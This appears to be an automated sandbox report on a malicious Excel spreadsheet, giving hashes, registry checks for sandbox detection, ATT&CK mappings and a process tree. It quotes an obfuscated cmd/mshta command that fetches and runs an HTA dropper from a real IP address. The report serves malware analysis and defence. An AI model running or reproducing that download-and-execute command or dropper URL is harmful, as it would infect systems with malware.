daeb3247447d0c19890e5554d0891adea600631008111ed7667350ad5191824b

General

Target

daeb3247447d0c19890e5554d0891adea600631008111ed7667350ad5191824b.xls
Size

35KB
MD5

90b31390af722ba0f7630391b4dc444f
SHA1

017987edf27c0d95d3b490d2da79c0c76b07c602
SHA256

daeb3247447d0c19890e5554d0891adea600631008111ed7667350ad5191824b
SHA512

6fda46c8480a8b7e2b03c40c4c10603cff80e095a8fb4815bb1204b43c6e2ba4ed5fc8d4457a46afd7d3f8f8f5a2bbc0616bd62aecc5eed1fdbc7d84d73ed742
SSDEEP

768:f1kk3hbdlylKsgqopeJBWhZFGkE+cL2NdAJjj6ehEnmEzk:f1kk3hbdlylKsgqopeJBWhZFGkE+cL2V

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://91.240.118.168/oo/aa/se.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

CMD.EXE

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2292	2124	CMD.EXE	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

mshta.exe

flow pid process

21 4408 mshta.exe

flow	pid	process
21	4408	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

2124 EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

EXCEL.EXE

pid	process
2124	EXCEL.EXE
2124	EXCEL.EXE
2124	EXCEL.EXE
2124	EXCEL.EXE
2124	EXCEL.EXE
2124	EXCEL.EXE
2124	EXCEL.EXE
2124	EXCEL.EXE
2124	EXCEL.EXE
2124	EXCEL.EXE
2124	EXCEL.EXE
2124	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

EXCEL.EXECMD.EXE

description	pid	process	target process
PID 2124 wrote to memory of 2292	2124	EXCEL.EXE	CMD.EXE
PID 2124 wrote to memory of 2292	2124	EXCEL.EXE	CMD.EXE
PID 2292 wrote to memory of 4408	2292	CMD.EXE	mshta.exe
PID 2292 wrote to memory of 4408	2292	CMD.EXE	mshta.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\daeb3247447d0c19890e5554d0891adea600631008111ed7667350ad5191824b.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2124
- C:\Windows\SYSTEM32\CMD.EXE
  CMD.EXE /c ms^hta http://91.2^40.118.1^68/oo/aa/s^e.ht^m^l
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2292
- - C:\Windows\system32\mshta.exe
    mshta http://91.240.118.168/oo/aa/se.html
    3⤵
    - Blocklisted process makes network request
    PID:4408

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

Filesize
1KB

MD5
4da4dd3398809737b282368b20f9fb67

SHA1
81d5d9f0800bb93d88d01aa8a7b3d3febb7b012d

SHA256
f1faa4946e26e5941a7bf684a5df6fe536d2edb937e5abe32db8ef2392150805

SHA512
0bc9c9264d786ec6998efdfcb69c4d3a3c9cc59f10f8ede54b344bcfb0344124ff1371683195aec2ed7891a34ed5b55bbe710d06d80010d214ea059c117b3e1c

Download Submit
memory/2124-14-0x00007FFBD2A90000-0x00007FFBD2AA0000-memory.dmp

Filesize
64KB

Download
memory/2124-7-0x00007FFBD4C90000-0x00007FFBD4CA0000-memory.dmp

Filesize
64KB

Download
memory/2124-0-0x00007FFBD4C90000-0x00007FFBD4CA0000-memory.dmp

Filesize
64KB

Download
memory/2124-4-0x00007FFBD4C90000-0x00007FFBD4CA0000-memory.dmp

Filesize
64KB

Download
memory/2124-5-0x00007FFC14C10000-0x00007FFC14E05000-memory.dmp

Filesize
2.0MB

Download
memory/2124-6-0x00007FFC14C10000-0x00007FFC14E05000-memory.dmp

Filesize
2.0MB

Download
memory/2124-10-0x00007FFC14C10000-0x00007FFC14E05000-memory.dmp

Filesize
2.0MB

Download
memory/2124-11-0x00007FFC14C10000-0x00007FFC14E05000-memory.dmp

Filesize
2.0MB

Download
memory/2124-2-0x00007FFBD4C90000-0x00007FFBD4CA0000-memory.dmp

Filesize
64KB

Download
memory/2124-3-0x00007FFC14CAD000-0x00007FFC14CAE000-memory.dmp

Filesize
4KB

Download
memory/2124-13-0x00007FFC14C10000-0x00007FFC14E05000-memory.dmp

Filesize
2.0MB

Download
memory/2124-9-0x00007FFC14C10000-0x00007FFC14E05000-memory.dmp

Filesize
2.0MB

Download
memory/2124-16-0x00007FFC14C10000-0x00007FFC14E05000-memory.dmp

Filesize
2.0MB

Download
memory/2124-18-0x00007FFBD2A90000-0x00007FFBD2AA0000-memory.dmp

Filesize
64KB

Download
memory/2124-17-0x00007FFC14C10000-0x00007FFC14E05000-memory.dmp

Filesize
2.0MB

Download
memory/2124-15-0x00007FFC14C10000-0x00007FFC14E05000-memory.dmp

Filesize
2.0MB

Download
memory/2124-8-0x00007FFC14C10000-0x00007FFC14E05000-memory.dmp

Filesize
2.0MB

Download
memory/2124-1-0x00007FFBD4C90000-0x00007FFBD4CA0000-memory.dmp

Filesize
64KB

Download
memory/2124-29-0x00007FFC14C10000-0x00007FFC14E05000-memory.dmp

Filesize
2.0MB

Download
memory/2124-12-0x00007FFC14C10000-0x00007FFC14E05000-memory.dmp

Filesize
2.0MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads